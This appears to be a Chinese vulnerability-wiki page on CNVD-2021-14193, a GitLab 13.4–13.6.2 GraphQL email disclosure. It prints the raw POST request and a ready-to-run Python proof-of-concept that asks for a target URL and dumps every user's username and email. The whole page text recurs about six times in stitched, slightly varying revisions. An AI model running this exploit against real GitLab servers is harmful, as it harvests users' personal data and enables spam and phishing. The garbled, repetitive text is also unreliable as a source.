# GitLab Graphql郵箱信息洩露漏洞 CNVD-2021-14193/zh-cn
==影响版本==
GitLab 13.4 – 13.6.2
==漏洞利用==
请求URL:
http://xxx.xxx.xxx.xxx/-//graphql-explorer
/api/graphql
接口發送數據
POST /api/graphql HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 212 Content-Type: application/json {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
==POC==
import requests import sys import random import re import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+--------------WgpSec--Team----------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/api/graphql" user_number = 0 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json", } try: data = """ {"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null} """ requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5) if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200: print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url)) for i in range(0,999): try: username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"] email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"] user_number = user_number + 1 print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email)) except: print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number)) sys.exit(0) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
==影响版本==
GitLab 13.4 – 13.6.2
==漏洞利用==
请求URL:
http://xxx.xxx.xxx.xxx/-//graphql-explorer
Gitlab本身不允许获取账号邮箱信息,这里通过调用Graphql用户名查询造成了邮箱泄露漏洞
/api/graphql
接口發送數據
POST /api/graphql HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 212 Content-Type: application/json {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
==POC==
import requests import sys import random import re import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+--------------WgpSec--Team----------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/api/graphql" user_number = 0 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json", } try: data = """ {"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null} """ requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5) if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200: print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url)) for i in range(0,999): try: username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"] email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"] user_number = user_number + 1 print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email)) except: print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number)) sys.exit(0) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
==影响版本==
GitLab 13.4 – 13.6.2
==漏洞利用==
请求URL:
http://xxx.xxx.xxx.xxx/-//graphql-explorer
Gitlab本身不允许获取账号邮箱信息,这里通过调用Graphql用户名查询造成了邮箱泄露漏洞
查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法取得邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
/api/graphql
接口發送數據
POST /api/graphql HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 212 Content-Type: application/json {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
==POC==
import requests import sys import random import re import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+--------------WgpSec--Team----------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/api/graphql" user_number = 0 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json", } try: data = """ {"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null} """ requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5) if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200: print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url)) for i in range(0,999): try: username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"] email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"] user_number = user_number + 1 print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email)) except: print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number)) sys.exit(0) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
==影响版本==
GitLab 13.4 – 13.6.2
==漏洞利用==
请求URL:
http://xxx.xxx.xxx.xxx/-//graphql-explorer
Gitlab本身不允许获取账号邮箱信息,这里通过调用Graphql用户名查询造成了邮箱泄露漏洞
查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法取得邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
发包调用了/api/graphql
接口发送数据
POST /api/graphql HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 212 Content-Type: application/json {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
==POC==
import requests import sys import random import re import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+--------------WgpSec--Team----------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/api/graphql" user_number = 0 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json", } try: data = """ {"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null} """ requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5) if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200: print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url)) for i in range(0,999): try: username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"] email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"] user_number = user_number + 1 print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email)) except: print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number)) sys.exit(0) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
==影响版本==
GitLab 13.4 – 13.6.2
==漏洞利用==
请求URL:
http://xxx.xxx.xxx.xxx/-//graphql-explorer
Gitlab本身不允许获取账号邮箱信息,这里通过调用Graphql用户名查询造成了邮箱泄露漏洞
查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法取得邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
发包调用了/api/graphql
接口发送数据
完整数据包为:
POST /api/graphql HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 212 Content-Type: application/json {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
==POC==
import requests import sys import random import re import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+--------------WgpSec--Team----------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/api/graphql" user_number = 0 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json", } try: data = """ {"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null} """ requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5) if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200: print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url)) for i in range(0,999): try: username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"] email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"] user_number = user_number + 1 print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email)) except: print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number)) sys.exit(0) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
==影响版本==
GitLab 13.4 – 13.6.2
==漏洞利用==
请求URL:
http://xxx.xxx.xxx.xxx/-//graphql-explorer
Gitlab本身不允许获取账号邮箱信息,这里通过调用Graphql用户名查询造成了邮箱泄露漏洞
查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法取得邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
发包调用了/api/graphql
接口发送数据
完整数据包为:
POST /api/graphql HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 212 Content-Type: application/json {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
成功返回数据,造成Gitlab的用户邮箱信息泄露。
==POC==
import requests import sys import random import re import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+--------------WgpSec--Team----------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/api/graphql" user_number = 0 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json", } try: data = """ {"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null} """ requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5) if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200: print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url)) for i in range(0,999): try: username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"] email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"] user_number = user_number + 1 print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email)) except: print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number)) sys.exit(0) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
==影响版本==
GitLab 13.4 – 13.6.2
==漏洞利用==
请求URL:
http://xxx.xxx.xxx.xxx/-//graphql-explorer
Gitlab本身不允许获取账号邮箱信息,这里通过调用Graphql用户名查询造成了邮箱泄露漏洞
查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法取得邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
发包调用了/api/graphql
接口发送数据
完整数据包为:
POST /api/graphql HTTP/1.1 Host: xxx.xxx.xxx.xxx Content-Length: 212 Content-Type: application/json {"query":"{\nusers {\nedges {\n node {\n username\n email\n avatarUrl\n status {\n emoji\n message\n messageHtml\n }\n }\n }\n }\n }","variables":null,"operationName":null}
成功返回数据,造成Gitlab的用户邮箱信息泄露。
==POC==
import requests import sys import random import re import json from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+--------------WgpSec--Team----------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mVersion: GitLab 13.4 - 13.6.2 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/api/graphql" user_number = 0 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/json", } try: data = """ {"query":"{\\nusers {\\nedges {\\n node {\\n username\\n email\\n avatarUrl\\n status {\\n emoji\\n message\\n messageHtml\\n }\\n }\\n }\\n }\\n }","variables":null,"operationName":null} """ requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data ,verify=False, timeout=5) if "email" in response.text and "username" in response.text and "@" in response.text and response.status_code == 200: print('\033[32m[o] 目标{}存在漏洞, 泄露用户邮箱数据....... \033[0m'.format(target_url)) for i in range(0,999): try: username = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["username"] email = json.loads(response.text)["data"]["users"]["edges"][i]["node"]["email"] user_number = user_number + 1 print('\033[34m[o] 用户名:{} 邮箱:{} \033[0m'.format(username, email)) except: print("\033[32m[o] 共泄露{}名用户邮箱账号 \033[0m".format(user_number)) sys.exit(0) else: print("\033[31m[x] 不存在漏洞 \033[0m") sys.exit(0) except Exception as e: print("\033[31m[x] 请求失败 \033[0m", e) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url)
==参考==
https://mp.weixin.qq.com/s/3cT8d9I7qru2tsURqUDusw
https://gitlab.com/gitlab-org/gitlab/-/issues/244275
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